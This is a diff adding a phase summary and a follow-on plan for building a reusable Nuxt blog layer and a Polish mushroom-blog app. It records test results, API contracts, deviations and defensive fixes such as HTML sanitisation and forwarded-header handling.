human_judgment: false
|
||||
- id: D2
|
||||
description: "Post list with ?page=N pagination and 404s, post page (gated body, meta, featured image, siblings, related with latest fallback), category (include_empty=1, D-21 content, empty state, unknown 404), tag and author pages, all from journal.routes (D-05, D-06, D-21, D-24)"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt -> smoke-ssr: ok (28 checks)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "SEO meta, canonicals that keep ?page=N, sitemap.xml from the Journal API built from journal.routes, /rss.xml as application/rss+xml (D-13)"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "testing/expect-acme.txt lines for /rss.xml, /sitemap.xml, canonical and og:title, run by smoke-ssr.mjs (28 checks ok)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "pl/en strings register only for enabled locales: a pl-only app serves pl strings at /blog and 404s /en/blog and /pl/blog (D-16)"
|
||||
requirement: SC-2
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "temporary pl-only playground build + smoke-ssr.mjs with 4 expectations -> smoke-ssr: ok (4 checks); playground config restored"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "The neutral token-driven base design looks clean on its own (D-03)"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Visual quality of the neutral design is a judgment call; the smoke only proves the markup and that components carry no hard-coded colours"
|
||||
|
||||
duration: 1h 34m
|
||||
completed: 2026-10-09
|
||||
---
|
||||
|
||||
# Phase 16 Plan 01: vue-journal-layer Summary
|
||||
|
||||
**A reusable Nuxt 4 layer, `vue-journal-layer` v0.1.0 on git.golem15.com, renders every Journal view from the anonymous Journal API. It covers post list, post, category with rich content, tag, author, RSS, SEO and sitemap. Paths come from `journal.routes`, styling from `--journal-*` tokens, and pl/en strings are registered per enabled locale. A scratch app installs the layer from the git tag and passes a 28-check SSR smoke.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 1h 34m
|
||||
- **Started:** 2026-10-09T14:33:15Z
|
||||
- **Completed:** 2026-10-09T16:07:44Z
|
||||
- **Tasks:** 4 (Task 1 was the resolved prerequisite gate)
|
||||
- **Files modified:** 55 tracked files in `../vue-journal-layer` (new repo)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **D-04 distribution proven end to end.** `check-git-install.sh` installs the layer anonymously from `git+https://git.golem15.com/golem15/vue-journal-layer.git#<tag>`. It then checks that `pnpm-lock.yaml` pins the tag's peeled commit, runs `nuxt build`, and runs the SSR smoke from `node_modules`. This passed for v0.0.1 (the spike) and for v0.1.0 (the release 16-02 consumes).
|
||||
- **Configurable routes (D-06).** A local module (`lib/journal-module.ts`, configKey `journal`) registers `journal-index`, `journal-post`, `journal-category`, `journal-tag` and `journal-author` at the paths in `journal.routes`. Setting a route to `false` disables it, and a path missing its param fails the build with an error naming `journal.routes.<key>`.
|
||||
- **Every Journal view (D-05, D-21, D-24):**
|
||||
- The index paginates with `?page=N`. `abc`, `0` and out-of-range pages answer 404.
|
||||
- Category pages render the D-21 `content` through the HTML gate above the list. An empty category answers 200, and an unknown one answers 404.
|
||||
- Post pages show meta, the featured image, previous and next links, and related posts, falling back to the latest posts.
|
||||
- Tag and author pages are included. An author resolves by slug or login, and a login URL's canonical points at the slug URL.
|
||||
- **HTML gate (T-16-01).** Every v-html sink uses `gateJournalHtml`, which applies the three Go regexes. On top of that, page transforms gate and slim the data before it is serialized, so even the SSR payload never carries the unsafe body (the `notcontains=alert(` check proves this).
|
||||
- **SEO (D-13).** Per-page `useSeoMeta`, `og:image` from the featured image, canonicals that keep `?page=N` (whitelist locked to `page`), a sitemap source that pages posts at `per_page=30` and builds every loc from `journal.routes`, and `/rss.xml` proxying the API feed.
|
||||
- **i18n (D-16).** pl and en strings with identical key trees (21 leaves) are registered through `i18n:registerModule`, and only for locales the app enables. A pl-only build serves pl at `/blog`, and `/en/blog` answers 404.
|
||||
|
||||
## Task Commits
|
||||
|
||||
All code commits are in `../vue-journal-layer` (branch `main`, pushed):
|
||||
|
||||
1. **Task 1: Prerequisite gate.** Resolved by the human, and the orchestrator re-ran the gate (gate-ok). There was no commit. The contract is recorded below.
|
||||
2. **Task 2: Tracer, git-tag install and SSR post page.** `6f6792f` (feat), tagged `v0.0.1`.
|
||||
3. **Task 3: Post list, categories, pagination, related posts, tokens and pl/en strings.** `c408eeb` (feat).
|
||||
4. **Task 4: Author and tag pages, SEO, sitemap, /rss.xml, README and v0.1.0.** `783426c` (feat), tagged `v0.1.0`.
|
||||
|
||||
**Plan metadata:** the docs commit in summercms.go (this SUMMARY).
|
||||
|
||||
Remote state: `refs/heads/main` 783426c, `refs/tags/v0.0.1` → 6f6792f, `refs/tags/v0.1.0` → 783426c (both are annotated tags).
|
||||
|
||||
## Prerequisite contract
|
||||
|
||||
This was read from `../sm-journal-plugin` at `3d533d4` (local `main`, not pushed) and from the quick-task SUMMARYs 261009-i6e and 261009-mgk. The plugin is the contract. This plan did not modify `../sm-journal-plugin`; its working tree shows only the pre-existing untracked `go.work.sum`.
|
||||
|
||||
### D-20 author endpoints (plugin commits 908ade9, 57a347c)
|
||||
|
||||
- **Routes.** `GET /_journal/api/v1/authors/{author}` and `GET /_journal/api/v1/authors/{author}/posts` are both anonymous and sit in the `throttle:journal-public-api` group. `{author}` is resolved in the handler, not by a route `Where`.
|
||||
- **Resolution.** The value is trimmed first.
|
||||
- It matches `backend_users.golem15_bloghub_author_slug` first, which works even when the author has no posts.
|
||||
- Otherwise it matches `login`, but only when that user has at least one published post.
|
||||
- Soft-deleted users never resolve.
|
||||
- A malformed value always answers 404: empty, over 255 bytes, invalid UTF-8, or containing control characters.
|
||||
- **Profile body.** `200 {"data":{"id":7,"slug":"jane-doe","first_name":"Jane","last_name":"Doe"}}`.
|
||||
- It has exactly these four keys.
|
||||
- `slug` is the author slug when set, otherwise the login.
|
||||
- A missing name is `""`.
|
||||
- **There is no public profile field beyond the names.** Bio, subtitle and avatar are not exposed; that is the `journal-author-profile-fields` todo.
|
||||
- **Posts.** `/authors/{author}/posts` returns the `/posts` envelope `{data:[post rows], meta:{current_page,last_page,per_page,total}}` with `serializePost` rows.
|
||||
- Query keys are `page` (default 1, clamped to at least 1), `per_page` (default 9, clamped to 1..30) and `sort` (the `/posts` allow-list, default `published_at desc`).
|
||||
- Only published posts appear.
|
||||
- **404 body.** `{"error":"Author not found"}` from both routes, with no other keys.
|
||||
- **Post rows.** The `author` object on post rows is still `{id, first_name, last_name, login}` with no slug, so the layer links authors by `login` and canonicalises to `data.slug`.
|
||||
|
||||
### D-21 category content (plugin commits 740dcd0, f22d089, 3d533d4)
|
||||
|
||||
- **Key.** `content` appears on every `GET /_journal/api/v1/categories` row, children included, with and without `include_empty=1`.
|
||||
- **Value.** It is an **HTML** string (not markdown) or `null`, stored and served as is. It is not translatable.
|
||||
- **Writes.** The admin save path is gated by `classes.CheckHTML`, the same three patterns. 16-03's direct UPDATE bypasses that gate, so the layer gate stays mandatory.
|
||||
- **Other keys** are unchanged: `id, name, slug, description, parent_id, nest_depth, post_count, children?`. Post rows' `categories[]` entries are still `{id, name, slug}`.
|
||||
|
||||
### Differences from the plan's assumed interfaces
|
||||
|
||||
- The author route parameter is `{author}` (a slug or a login), as assumed. The author posts route is `/authors/{author}/posts`, not `posts?author=`.
|
||||
- The author object has no public profile fields beyond the names. `JournalAuthor` is `{id, slug, first_name, last_name}`, and `JournalAuthorCard` renders the name and offers a slot. No bio is rendered, so there is no third v-html sink yet.
|
||||
- The category key is `content` as assumed, and it is HTML.
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
All of these are in `../vue-journal-layer`, a new repository:
|
||||
|
||||
- `package.json`, `pnpm-lock.yaml`, `pnpm-workspace.yaml`, `.nvmrc`, `.gitignore`, `tsconfig.json`: the package (`main: ./nuxt.config.ts`, nuxt as a dev and peer dependency, no `prepare` script).
|
||||
- `nuxt.config.ts`: the layer config. It has absolute paths, `pages: true`, the modules declared once, runtime config, css, `seo.canonicalQueryWhitelist`, the sitemap source and no locales.
|
||||
- `lib/journal-module.ts`: route registration, public runtime config and the i18n registration hook.
|
||||
- `app/utils/{types,routes,client,htmlGate,view,pagination,seo,sitemap}.ts`: pure TS helpers that `node --test` can import.
|
||||
- `app/composables/{useJournalApi,useJournalLinks}.ts`.
|
||||
- `app/journal-pages/{PostIndexPage,PostPage,CategoryPage,TagPage,AuthorPage}.vue`.
|
||||
- `app/components/Journal/{PostBody,PostCard,PostList,PostMeta,FeaturedImage,Pagination,RelatedPosts,IndexHeader,CategoryHeader,AuthorCard,RssLink}.vue`.
|
||||
- `app/assets/css/{journal-tokens,journal-base}.css`, `app/app.vue`, `app/layouts/default.vue`.
|
||||
- `i18n/locales/{pl,en}.json`.
|
||||
- `server/routes/rss.xml.ts`, `server/api/__sitemap__/journal.ts`.
|
||||
- `testing/{fixture-api,nuxt-server,smoke-ssr}.mjs`, `testing/fixtures/acme/*`, `testing/expect-acme.txt` (28 checks).
|
||||
- `scripts/check-git-install.sh`, `.playground/{nuxt.config.ts,app/app.vue}`, `README.md`.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Payload shaping.** Pages run API rows through `toPostView` and `toListPost` in `useAsyncData` transforms. The payload drops `content` and `translations` and carries only gated `content_html`. This is a security and size win; see deviation 2.
|
||||
- **Forwarding.** XFF forwarding appends the Nuxt peer address. Go reads the rightmost untrusted hop and trusts `127.0.0.1/32`, so behind nginx it still picks the visitor, and a Nuxt server reached directly cannot have its bucket spoofed by a client-supplied header.
|
||||
- **Author links.** Authors are linked by `author.login`, because that is the only key on post rows. The author page canonicalises to the slug URL.
|
||||
- **Featured images.** They carry intrinsic `width="1200" height="630"` attributes, and the rendered crop comes from the `--journal-image-ratio` token. Attributes cannot be set from CSS tokens; this is how the plan's wording was read.
|
||||
- **Smoke checks.** The smoke additionally asserts that every categories request carried `include_empty=1`. The expectations also cover a draft post (404), the related-posts fallback, `/blog/author/jdoe` (login) and an exact canonical.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] The layer tsconfig.json could not extend `./.nuxt/tsconfig.json`**
|
||||
- **Found during:** Task 2 (first playground build).
|
||||
- **Issue:** `vite:vue` failed with `failed to resolve "extends":"./.nuxt/tsconfig.json"`. A layer has no `.nuxt` (only `.playground/.nuxt`), and neither does a consumer's `node_modules` copy.
|
||||
- **Fix:** I wrote a self-contained `tsconfig.json` (ESNext, Bundler resolution, `allowImportingTsExtensions`, strict).
|
||||
- **Files modified:** `../vue-journal-layer/tsconfig.json`.
|
||||
- **Verification:** The playground build and both git-install runs pass.
|
||||
- **Committed in:** 6f6792f.
|
||||
|
||||
**2. [Rule 2 - Missing critical] The SSR payload carried unsafe HTML**
|
||||
- **Found during:** Task 2.
|
||||
- **Issue:** `useAsyncData` serializes the raw API row into `__NUXT_DATA__`, including an unsafe `content_html`, plus `content` and `translations`. The plan's `notcontains=alert(` check could not pass that way, and the raw HTML would reach the browser.
|
||||
- **Fix:** I added `app/utils/view.ts`, which provides `toPostView` (gates the body, sets `content_blocked`, drops `content` and `translations`, slims related posts) and `toListPost`. `JournalPostBody` gained a `blocked` prop. The category page gates `content` before it enters the payload.
|
||||
- **Files modified:** `app/utils/view.ts`, `PostBody.vue`, all pages.
|
||||
- **Verification:** The `/blog/unsafe-sample` smoke line passes (contains the blocked class, not `alert(`).
|
||||
- **Committed in:** 6f6792f and c408eeb.
|
||||
|
||||
**3. [Rule 1 - Bug] ASI bug in the smoke-ssr.mjs option parser**
|
||||
- **Found during:** Task 2.
|
||||
- **Issue:** A line starting with `(` after a JSDoc cast was parsed as a call.
|
||||
- **Fix:** I rewrote the parser to collect options into an object.
|
||||
- **Committed in:** 6f6792f.
|
||||
|
||||
**4. [Rule 2 - Missing critical] The forwarded XFF lacked the peer address**
|
||||
- **Found during:** Task 2.
|
||||
- **Issue:** Forwarding the client header alone would let a client choose its own rate-limit bucket if Nuxt is reachable directly.
|
||||
- **Fix:** `useJournalApi`, the sitemap source and `/rss.xml` append the peer address.
|
||||
- **Verification:** The smoke forwarding assertion passes; the fixture recorded `203.0.113.7, 127.0.0.1`.
|
||||
- **Committed in:** 6f6792f and 783426c.
|
||||
|
||||
**5. [Rule 3 - Blocking] Minimal index, category, tag and author pages were shipped in v0.0.1**
|
||||
- **Found during:** Task 2.
|
||||
- **Issue:** The module registers every route that is not `false`, so the build failed (ENOENT) without the other page files.
|
||||
- **Fix:** I wrote simple working versions in Task 2. Tasks 3 and 4 replaced them with the full pages. These were not stubs: each fetched and rendered real data or answered 404.
|
||||
- **Committed in:** 6f6792f.
|
||||
|
||||
**6. [Scope addition] `site.url`/`site.name` (`https://acme.test`, Acme Blog) in the playground and the scratch consumer config**
|
||||
- **Issue:** Without them, canonicals carry the random smoke port, and titles show a literal `%siteName`.
|
||||
- **Fix:** I added both, which makes the canonical assertions exact. The README documents that apps must set `site.url` and `site.name`.
|
||||
- **Committed in:** 783426c.
|
||||
|
||||
**7. [Scope addition] TMPDIR guard in check-git-install.sh**
|
||||
- **Issue:** Nuxt's layer include regex `(^|/)vue-journal-layer(/|$)` matches every path below a directory named `vue-journal-layer`. A scratch app there gets the auto-import transform on all dependencies, and the build fails with `Identifier "h" has already been declared` in `node-mock-http`. I hit this with a workaround TMPDIR.
|
||||
- **Fix:** The script now refuses such a TMPDIR with a clear message, and the README notes it.
|
||||
- **Committed in:** 783426c.
|
||||
|
||||
**8. [Scope addition] Extra i18n keys**
|
||||
- **Issue:** The components needed `journal.pagination.label`, `journal.post.by`, `journal.tag.empty` and `journal.author.empty` beyond the plan's list.
|
||||
- **Fix:** I added them to both locales. Parity is checked at 21 leaves.
|
||||
- **Committed in:** c408eeb.
|
||||
|
||||
**9. [User decision, recorded per the orchestrator] The site repo is private**
|
||||
- `golem15/vue-grzybyfunkcjonalne-app` is **private** by the user's choice. It is checked over SSH (`git ls-remote git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git`), not anonymous HTTPS as Task 1's verify and `user_setup` assumed.
|
||||
- Only `vue-journal-layer` must be public (D-04 anonymous `git+https` install, verified by both git-install runs).
|
||||
- The site app is consumed only as a D-08 submodule over SSH. 16-02 and 16-04 must use the SSH URL for it.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 9 (5 auto-fixed under Rules 1 to 3, 3 small scope additions, 1 user decision on repo visibility).
|
||||
**Impact on plan:** All auto-fixes were needed for correctness, security or the build. Routes, components and option names match the plan's artifact list. The extra `app/utils/view.ts` module adds exported names; it changes none.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- **The sandbox cannot write the `/tmp` pnpm store** (`ERR_SQLITE_ERROR attempt to write a readonly database`). The git-install runs used `TMPDIR=<session scratchpad>` with `npm_config_store_dir`/`pnpm_config_store_dir` pointed at the project-drive store. This is an environment workaround, and the script is unchanged by it.
|
||||
- **The `@nuxt/fonts` build step retries provider metadata fetches** (fonts.bunny.net, api.fontshare.com) that the sandbox blocks. These are warnings only and the builds succeed. Apps that declare font families will fetch at build time.
|
||||
- **nuxt-seo-utils warns** "treeShakeUseSeoMeta requires Unhead v3". This is harmless on Nuxt 4.4.8 with Unhead v2.
|
||||
- **The D-16 pl-only check** first ran from a test app under `.data/`, which Nuxt ignores (`useJournalApi is not defined`). I re-ran it by temporarily switching `.playground` to pl-only, building, running the smoke, and restoring the file (no diff).
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None. Every page fetches and renders real API data. `JournalAuthorCard` shows only the name because the D-20 endpoint exposes no profile fields; that gap is tracked by the existing todo `journal-author-profile-fields.md`, not by a stub.
|
||||
|
||||
## Threat Flags
|
||||
|
||||
None beyond the plan's threat model.
|
||||
- `/rss.xml` and `/api/__sitemap__/journal` are new GET-only Nitro routes. They read from the runtime-config API base (T-16-02) and forward XFF (T-16-03).
|
||||
- No write route is called: `grep -rnE "method: *'(POST|PUT|DELETE)'" app server` prints nothing.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
Done before resume. See [16-USER-SETUP.md](./16-USER-SETUP.md): both Gitea repos exist; the layer repo is public and the site repo is private (SSH).
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- 16-02 can depend on `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` and set `journal.routes` to `{ index: '/blog', post: '/blog/:slug', category: '/:category', author: '/autor/:author', tag: false }`.
|
||||
- **The site app must set `site.url` and `site.name`.**
|
||||
- 16-02 can reuse `testing/fixture-api.mjs` and `testing/nuxt-server.mjs` from `node_modules/vue-journal-layer/testing/`.
|
||||
- The 16-05 unit tests can target the pure utils in `app/utils/*.ts`: routes, client, htmlGate, pagination, view, seo and sitemap.
|
||||
- **Before release, the plugin commits must be pushed.** The D-20 and D-21 commits in `../sm-journal-plugin` are local only, and the Go host build in 16-03 and 16-04 needs them pushed.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND: ../vue-journal-layer/{lib/journal-module.ts, app/utils/client.ts, app/utils/htmlGate.ts, app/utils/routes.ts, server/api/__sitemap__/journal.ts, scripts/check-git-install.sh, testing/smoke-ssr.mjs, README.md}
|
||||
- FOUND: commits 6f6792f, c408eeb and 783426c in vue-journal-layer, and on origin/main
|
||||
- FOUND: remote refs refs/tags/v0.0.1 and refs/tags/v0.1.0, and package.json version 0.1.0
|
||||
- Plan verification:
|
||||
- The Task 1 gate was gate-ok, re-run by the orchestrator with the site repo checked over SSH.
|
||||
- `check-git-install.sh v0.1.0` printed `check-git-install: ok v0.1.0`.
|
||||
- The playground smoke printed `smoke-ssr: ok (28 checks)`.
|
||||
- The consuming-application name scan printed nothing.
|
||||
|
||||
---
|
||||
*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
|
||||
*Completed: 2026-10-09*
|
||||
@@ -0,0 +1,303 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 02
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["16-01"]
|
||||
files_modified:
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-workspace.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/.nvmrc
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/.gitignore
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tsconfig.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/error.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/layouts/default.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/index.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/kontakt.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/trwaja-prace.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteFooter.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/HeroSection.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/LatestPosts.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/AboutSection.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/CtaSection.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/ServicesSection.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/FaqSection.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/PageHero.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/Journal/IndexHeader.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/contact.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/base.css
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/favicon.ico
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/images/hero-forest.webp
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/images/cta.png
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/categories.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/tags.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/authors.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/rss.xml
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect-ga.txt
|
||||
- ../sm-grzybyfunkcjonalne-app/.gitmodules
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
autonomous: true
|
||||
requirements: [SC-1, SC-3]
|
||||
estimate:
|
||||
tokens: 130000
|
||||
raw_tokens: 130000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-01/D-08: vue-grzybyfunkcjonalne-app is a Nuxt 4 SSR app (summercms standards: @nuxtjs/i18n, @nuxtjs/seo, @nuxt/fonts through the layer, pnpm, node --test) mounted as a submodule of sm-grzybyfunkcjonalne-app the way vue-summercmsio-app is mounted in sm-summercmsio-app."
|
||||
- "D-04: the app depends on git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0 with the commit locked in pnpm-lock.yaml, and does not re-list the layer's Nuxt modules (Pitfall 4)."
|
||||
- "D-15: the PHP public URLs answer on the new app with the same paths: /, /blog with ?page=N, /blog/:slug, /autor/:author, /kontakt, /trwaja-prace and the root /:category catch-all, where static routes win; /404, /error and unknown roots answer 404."
|
||||
- "D-16: the app serves pl only, without a URL prefix; /en/blog answers 404."
|
||||
- "D-07: routeRules swr caching keeps pages full SSR HTML and lets a newly published post appear without a rebuild."
|
||||
- "D-11: the homepage hero, latest 3 posts, about, CTA and services sections and the blog header carry the current Polish copy, as components plus i18n strings, with no sitemanager toggles."
|
||||
- "D-12: the main menu is typed config in app/data/menu.ts with the category dropdown resolved from the Journal API, and the FAQ what-mushrooms-can-give-you is static content in app/data/faq.pl.json; no menu or FAQ plugin is built (deferred to Phase 17)."
|
||||
- "D-14: /kontakt shows the contact details and a mailto link; the app contains no contact or newsletter form and calls no new Go endpoint."
|
||||
- "D-23: Google Analytics G-MLSV7WJ6W4 loads only when NUXT_PUBLIC_GA_ID is set; the default build and staging render no analytics script."
|
||||
- "D-03: the refreshed design lives in the app as --journal-* token overrides and app CSS; the layer is unchanged by this plan."
|
||||
- "D-24: /amanita-muscaria answers 200 with its content and an empty list."
|
||||
- "No English locale for the site, no production cutover, no sitemanager/blocks port (CONTEXT deferred ideas)."
|
||||
artifacts:
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts"
|
||||
provides: "extends the layer; journal.routes for the PHP URLs; pl-only i18n; site config; swr routeRules; runtime gaId"
|
||||
contains: "/autor/:author"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts"
|
||||
provides: "typed MAIN_MENU config"
|
||||
contains: "journal-categories"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json"
|
||||
provides: "the 16 FAQ entries with the live Polish copy"
|
||||
contains: "items"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts"
|
||||
provides: "gaHeadScripts(id) returning no scripts for an empty or malformed id"
|
||||
contains: "googletagmanager"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt"
|
||||
provides: "SSR smoke expectations for every D-15 URL form"
|
||||
contains: "/autor/"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/.gitmodules"
|
||||
provides: "submodule vue-grzybyfunkcjonalne-app"
|
||||
contains: "vue-grzybyfunkcjonalne-app"
|
||||
key_links:
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json"
|
||||
to: "git.golem15.com/golem15/vue-journal-layer#v0.1.0"
|
||||
via: "pnpm git dependency pinned by tag and lockfile commit"
|
||||
pattern: "vue-journal-layer.git#v0.1.0"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts"
|
||||
to: "../vue-journal-layer/lib/journal-module.ts"
|
||||
via: "journal.routes overrides: category /:category, author /autor/:author, tag false"
|
||||
pattern: "category: '/:category'"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue"
|
||||
to: "useJournalApi().listCategories()"
|
||||
via: "the journal-categories menu item lists every category (include_empty=1) through useJournalLinks().categoryLink"
|
||||
pattern: "listCategories"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue"
|
||||
to: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts"
|
||||
via: "useHead({ script: gaHeadScripts(runtimeConfig.public.gaId) })"
|
||||
pattern: "gaHeadScripts"
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
|
||||
|
||||
MVP_MODE note: no user story is invented; run `/msd-mvp-phase 16` to reframe the Goal line if wanted.
|
||||
|
||||
This plan's slice: the grzybyfunkcjonalne.pl Nuxt app extends `vue-journal-layer` v0.1.0 and answers the PHP site's URLs with SSR HTML, then the homepage, menu, FAQ, kontakt, error pages and analytics carry the current Polish content in a refreshed design.
|
||||
|
||||
<objective>
|
||||
Build `vue-grzybyfunkcjonalne-app` (D-08) on the layer (D-02, D-04) with the PHP URL map (D-15), pl-only i18n (D-16), SSR swr caching (D-07), the refreshed design (D-01, D-03), the content port (D-11, D-12, D-14) and GA through runtime config (D-23), and mount it as a submodule of the host.
|
||||
|
||||
Purpose: SC-1 (the site, as content and routes) and SC-3 (every PHP page has a named Nuxt successor).
|
||||
Output: the app repo pushed to git.golem15.com and mounted at `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app`.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md
|
||||
@../vue-journal-layer/README.md
|
||||
@../sm-summercmsio-app/vue-summercmsio-app/nuxt.config.ts
|
||||
@../sm-summercmsio-app/vue-summercmsio-app/README.md
|
||||
@../sm-summercmsio-app/.gitmodules
|
||||
|
||||
<interfaces>
|
||||
